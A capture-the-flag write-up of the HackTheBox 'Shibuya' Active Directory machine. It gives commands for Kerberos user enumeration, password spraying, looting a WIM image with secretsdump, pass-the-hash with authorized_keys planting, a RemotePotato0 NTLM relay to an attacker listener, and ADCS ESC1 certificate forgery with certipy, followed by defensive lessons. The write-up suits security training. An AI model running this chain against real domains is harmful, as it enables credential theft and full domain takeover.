Shibuya - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐⭐☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Shibuya is a Windows Active Directory domain controller (AWSJPDC0522.shibuya.vl) that chains together five distinct AD misconfigurations: Kerberos username enumeration leading to a weak machine-account credential, a plaintext password left in an account’s LDAP Description field, credential material recovered from an offline Windows Imaging Format (WIM) deployment image, a cross-session NTLM relay against an actively logged-on RDP user, and finally an ADCS ESC1 template misconfiguration used to mint a certificate for the domain’s built-in admin-equivalent account. Along the way, OpenSSH-on-Windows was abused as an SMB-writable shell primitive by planting an authorized_keys file over pass-the-hash SMB access.

TL;DR: Kerberos userenum → red:red machine account → svc_autojoin password leaked in AD Description → loot images$ WIM, extract SAM/SYSTEM/SECURITY with 7z → operator NT hash reused by simon.watson → PtH-plant authorized_keys over SMB → SSH shell → user.txt → cross-session NTLM relay (RemotePotato0) steals nigel.mills’s hash → crack to Sail2Boat3 → ADCS ESC1 on t1_admins-enrollable template → forge _admin cert → SYSTEM → root.txt.

Reconnaissance

Port Scanning

# full TCP sweep against the DC
nmap -sC -sV -T4 -p- 10.129.234.42

Key findings: the host resolves as AWSJPDC0522.shibuya.vl, a Windows Server domain controller for the shibuya.vl AD forest — Kerberos (88) and SMB (445) confirmed reachable and became the primary enumeration surface for this box.

Service Enumeration

Null and guest SMB auth were not viable, so enumeration pivoted to Kerberos pre-authentication:

# Kerberos pre-auth enumeration: KDC responds differently
# for valid vs invalid principals (PREAUTH_REQUIRED vs PRINCIPAL_UNKNOWN)
# without touching SMB/LDAP bind attempts or lockout counters
kerbrute userenum -d shibuya.vl --dc AWSJPDC0522.shibuya.vl userlist.txt

This confirmed the username red as valid. Domain admin accounts frequently reuse their username as an initial/default password, so that was tried next.

Vulnerability Assessment

• Weak/default credential on a valid domain account (red:red)
• Sensitive credential material stored in a user’s AD Description attribute (readable by any authenticated user)
• Deployment WIM images exposed over SMB, containing extractable SAM/SYSTEM/SECURITY hives
• Credential reuse between a local build account and a live domain user
• OpenSSH for Windows enabled, reachable with only filesystem write access
• No session-isolation protection against cross-session COM/NTLM relay
• ADCS certificate template (ShibuyaWeb) vulnerable to ESC1 (enrollee-supplied SAN + client-auth EKU + broad enrollment rights)

Initial Foothold

Step 1 — Kerberos userenum → weak machine account

# username == password spray against confirmed valid accounts
netexec smb shibuya.vl -u red -p red -k

red:red authenticated successfully — a machine/service account with a trivially weak password.

Step 2 — Password leaked in AD Description

# authenticated SMB/SAMR user enumeration
netexec smb shibuya.vl -u red -p red -k --users

The svc_autojoin account’s Description field contained a cleartext password: K5&A6Dw9d8jrKWhV. This field is intended for admin notes but is readable via SAMR/LDAP by any authenticated principal — a classic “documented the secret where everyone can read it” mistake.

netexec smb shibuya.vl -u svc_autojoin -p 'K5&A6Dw9d8jrKWhV' -k --shares

svc_autojoin had read access to a non-default share, images$.

Step 3 — Loot WIM deployment images

# pull the WIM files (Windows Imaging Format — golden/deployment images)
impacket-smbclient -k shibuya.vl/svc_autojoin:'K5&A6Dw9d8jrKWhV'@AWSJPDC0522.shibuya.vl
# use images$
# mget *

wimmount was not available on the operating box, so instead of mounting the WIM as a filesystem, it was treated as an archive:

# WIM is an archive container — 7z can extract straight from it,
# no need to actually mount the image
7z x AWSJPWK0222-02.wim -o./extracted

The extracted registry hives were fed to secretsdump:

impacket-secretsdump -system extracted/Windows/System32/config/SYSTEM \
                      -sam extracted/Windows/System32/config/SAM \
                      -security extracted/Windows/System32/config/SECURITY local

This recovered the local operator account’s NT hash. Golden/deployment images are frequently captured from a reference machine that was logged in as a real domain user — checking for hash reuse against the domain user list paid off: the operator hash authenticated as simon.watson.

Step 4 — Pass-the-hash → SSH → user.txt

# authenticate over SMB with the recovered NT hash, write our own SSH key
impacket-smbclient simon.watson@shibuya.vl -hashes :<redacted>
# use users
# cd simon.watson
# mkdir .ssh
# cd .ssh
# put authorized_keys

Since SMB pass-the-hash gives file access but not a shell, and this DC unusually runs OpenSSH for Windows on port 22, dropping our own public key into %USERPROFILE%\.ssh\authorized_keys turned filesystem write access into full interactive command execution:

ssh -i id_ed25519 simon.watson@shibuya.vl

user.txt retrieved as simon.watson.

Privilege Escalation

Step 1 — Identify an active competing session

From the simon.watson shell, session enumeration revealed another user actively logged on via RDP:

.\RunasCs.exe -l 9 simon.watson '<hash>' qwinsta
# SESSIONNAME   USERNAME       ID  STATE
# rdp-tcp#0     nigel.mills    1   Active

Step 2 — Cross-session NTLM relay (RemotePotato0)

# -m 2: multi-session relay mode, -s 1: target session 1 (nigel.mills's RDP session)
.\RemotePotato0.exe -m 2 -s 1 -r <listener_ip> -x <listener_ip> -p 8888

RemotePotato0 abuses DCOM’s OXID-resolution mechanism to coerce another logged-on user’s session into authenticating against an attacker-controlled RPC endpoint — no admin rights or SYSTEM privilege needed, just an active competing session to target. This captured nigel.mills’s NTLMv2 hash, cracked offline to Sail2Boat3.

Notable obstacle: the shared jump box’s port 135 was already bound by another engagement’s Responder instance. Rather than kill that listener or fight it for the port with socat, a source-scoped iptables DNAT hairpin was used instead — redirecting only traffic originating from the target IP hitting port 135 through to target:8888, leaving the existing Responder listener untouched for every other source. The rule was removed after the relay completed.

Authenticating as nigel.mills showed membership in the t1_admins group — a tiered-admin group with certificate enrollment rights.

Step 3 — ADCS ESC1 abuse

# enumerate certificate templates for misconfigurations
certipy-ad find -u nigel.mills -p Sail2Boat3 -dc-ip 10.129.234.42 -vulnerable -stdout

The ShibuyaWeb template was flagged ESC1-vulnerable: t1_admins holds enrollment rights, the template has Enrollee Supplies Subject set (the requester can specify any SAN/UPN), and Client Authentication EKU is enabled. Combined, any principal that can enroll can request a certificate impersonating any other account — including the domain’s built-in admin-equivalent — simply by supplying that account’s UPN.

# request a cert impersonating the admin-equivalent account via ESC1
certipy-ad req -u nigel.mills -p Sail2Boat3 -target-ip 10.129.234.42 \
  -ca shibuya-AWSJPDC0522-CA -template ShibuyaWeb -upn _admin

The resulting PFX was used to authenticate via PKINIT and recover the target account’s NT hash:

certipy-ad auth -pfx _admin.pfx -domain shibuya.vl -dc-ip 10.129.234.42

That hash authenticated as the domain’s _admin account (Administrator-equivalent), yielding a SYSTEM-level shell and root.txt.

Attack Chain Summary

Kerberos userenum (kerbrute-style) → red:red (weak machine account)
    → SMB --users enum → svc_autojoin password in AD Description
    → images$ share → WIM loot → 7z-extract SAM/SYSTEM/SECURITY
    → secretsdump → operator NT hash reused by simon.watson
    → SMB PtH → plant authorized_keys → SSH shell → user.txt
    → RunasCs/qwinsta → nigel.mills active RDP session
    → RemotePotato0 cross-session relay → NTLMv2 hash → cracked (Sail2Boat3)
    → t1_admins membership → ADCS ESC1 on ShibuyaWeb template
    → forge cert as _admin → certipy auth → NT hash
    → SYSTEM shell → root.txt

Tools Used

Key Learnings

Techniques Practiced

• Kerberos pre-authentication username enumeration
• AD Description-field credential harvesting
• WIM image extraction and offline hive-based secretsdump
• Credential reuse pivoting (local build account → domain user)
• Pass-the-hash over SMB combined with OpenSSH authorized_keys planting for shell access
• Active-session enumeration and cross-session NTLM relay (RemotePotato0)
• Conflict-aware network pivoting (source-scoped iptables DNAT instead of disrupting a shared listener)
• ADCS ESC1 identification and exploitation via certipy

Lessons Learned

1. Any field editable in AD (Description, notes, etc.) should be treated as potentially world-readable — never store secrets there.
2. Deployment/golden images (WIM, VHD, etc.) exposed on file shares are a credential goldmine; they don’t need to be mounted — most imaging formats are just archives.
3. OpenSSH on a Windows host turns any SMB write primitive into a full shell via authorized_keys — worth checking for on every AD box with port 22 open.
4. Active RDP sessions from other users are a viable escalation path via cross-session relay tooling, independent of any local privilege bug.
5. On shared infrastructure, prefer scoped, non-disruptive workarounds (source-IP DNAT) over commandeering a port another engagement is actively using.
6. ADCS template misconfigurations (ESC1 in particular) remain one of the highest-value AD privesc paths — always check certipy find -vulnerable once any domain credential is obtained.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

• Shibuya — HackTheBox Writeup by amra (public writeup, machine author: xct) — used for conceptual context on WIM investigation, cross-session relay methodology, and ESC1 exploitation mechanics.